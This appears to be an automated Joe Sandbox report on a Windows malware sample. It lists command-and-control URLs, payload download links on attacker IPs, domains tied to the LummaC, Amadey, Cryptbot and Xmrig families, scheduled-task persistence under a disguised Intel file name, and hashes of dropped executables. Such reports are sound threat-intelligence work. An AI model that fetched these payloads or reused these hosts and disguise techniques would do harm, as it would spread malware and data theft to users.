http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php6879001	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php7H	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/burpin1/random.exeedB	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpLocal	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/unique1/random.exeE	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpcal	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php0	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exel%	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exem	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpTemp	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpHH	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/dodo/random.exe4&M	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.0000000000598000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpes	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 00000025.00000002.2836976541.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xmrig.com/docs/algorithms	Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://usbtor.ru/viewtopic.php?t=798)Z	4802836d37.exe, 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	svchost.exe, 00000025.00000002.2836976541.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
185.185.71.170	home.twentytk20pn.top	Russian Federation	35278	SPRINTHOSTRU	false
104.21.64.80	grannyejh.lat	United States	13335	CLOUDFLARENETUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577323
Start date and time:	2024-12-18 11:45:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe_Y.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@81/44@19/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 64.233.162.84, 172.217.17.78, 23.218.208.109, 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:47:01	API Interceptor	1424216x Sleep call for process: skotes.exe modified
05:47:31	API Interceptor	11x Sleep call for process: powershell.exe modified
05:47:40	API Interceptor	3x Sleep call for process: c5bc1413d7.exe modified
05:48:04	API Interceptor	6x Sleep call for process: f1e68d5060.exe modified
05:48:19	API Interceptor	34x Sleep call for process: 5b3f6dd868.exe modified
11:46:26	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:47:28	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse
	gyZkEwCn5w.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	z2kJvTjVVa.exe	Get hash	malicious	Cryptbot	Browse
	jf2jJnlcYf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	B7nTczObGV.exe	Get hash	malicious	Cryptbot	Browse
	sd3o9UfOL4.exe	Get hash	malicious	Cryptbot	Browse
	PytpTDxs17.exe	Get hash	malicious	Cryptbot	Browse
	4Aoo17481q.exe	Get hash	malicious	Cryptbot	Browse
	61JOx7py3p.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	81.29.149.45
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
www.google.com	https://www.ispringsolutions.com/ispring-suite	Get hash	malicious	Unknown	Browse	142.250.181.132
	http://trackmail.info/QLTRG66TP4/offer/00248/811/iuk7x/b4q/41/32	Get hash	malicious	Unknown	Browse	142.250.181.132
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	172.217.19.228
	F1TwARdSKB.js	Get hash	malicious	Mint Stealer	Browse	142.250.181.132
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	142.250.181.132
	F1TwARdSKB.js	Get hash	malicious	Mint Stealer	Browse	172.217.19.228
	download.ps1	Get hash	malicious	Unknown	Browse	172.217.215.106
	download.ps1	Get hash	malicious	Unknown	Browse	74.125.21.147
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	142.250.181.132
	download.ps1	Get hash	malicious	Unknown	Browse	142.250.181.132
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
grannyejh.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109
grannyejh.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.1.166.67
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	24.59.160.150
	arm.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	98.0.111.63
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.84.38.225
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	98.85.100.80
	https://6movies.stream/series/cobra-kai-80711/6-4/	Get hash	malicious	Unknown	Browse	98.82.154.76
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	98.82.158.241
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	98.85.100.80
	gyZkEwCn5w.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	z2kJvTjVVa.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
WHOLESALECONNECTIONSNL	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
CLOUDFLARENETUS	https://www.ispringsolutions.com/ispring-suite	Get hash	malicious	Unknown	Browse	104.21.80.1
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	http://trackmail.info/QLTRG66TP4/offer/00248/811/iuk7x/b4q/41/32	Get hash	malicious	Unknown	Browse	104.21.52.161
	Memo - Impairment Test 2023 MEX010B (5).js	Get hash	malicious	Unknown	Browse	104.21.10.224
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	172.67.191.110
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202 104.21.64.80
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.209.202 104.21.64.80
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	172.67.209.202 104.21.64.80
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	172.67.209.202 104.21.64.80
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 104.21.64.80

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.952979469725424
Encrypted:	false
SSDEEP:	49152:5YAz9q+jtScoVpfghSXABehVC8tMBEmHYAW3v:x4+jtScwpRABehgxvHYD3v
MD5:	914BC5E4CA51B1218F63A8539614DCBC
SHA1:	5EDAB3B12041E423A1321BD656B55F7F6A3C76F9
SHA-256:	E77EB409D5AB219632439EDDC1019746C132CA68CBDBF3F63DEDA117F010BB01
SHA-512:	7D301C0E284CCFF3694108E48E027784A7292DD17B9C9746822B64D0415F26CC3D737D6F19A8BC912B4A44C9B262ABA00BAE5CD484C3E0B9B8DC63AC889229FB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........J...........@...........................K.....\|.....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... .`)..........V..............@...ocizazuj.p...P1..l...X..............@...tmlfxogw......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4466688
Entropy (8bit):	7.985749267108354
Encrypted:	false
SSDEEP:	98304:mUq/Rjfin/BjlBFxg28sXGOID18Radfg85LhEPse:mUyjeBjDFxg28UGO+9guhas
MD5:	3287CE2D6BE3F77C5D1E7CC351F4AD5F
SHA1:	D9F04B9C1D610402C10C27772169D9E911D9ADF5
SHA-256:	7619900AF0011CD2B40BE259C52ACF7E7415532D002A09267BCFB823EA1F38C4
SHA-512:	F3F99E918F412A511C1324E89359645A37933F855B3DA5214611906B861203AE6AAD20DAB6E04EE5BAE3FA134AE604CE61C08F9DE3CD2718FB1090F193477D95
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...0.......PD...@..........................`........D...@... ............................._.a.s.....a.....................,....................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...ahvfevpi.....p.......T(.............@...qgsnhtie..... ........D.............@....taggant.0...0..."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVsHh:NllUGH
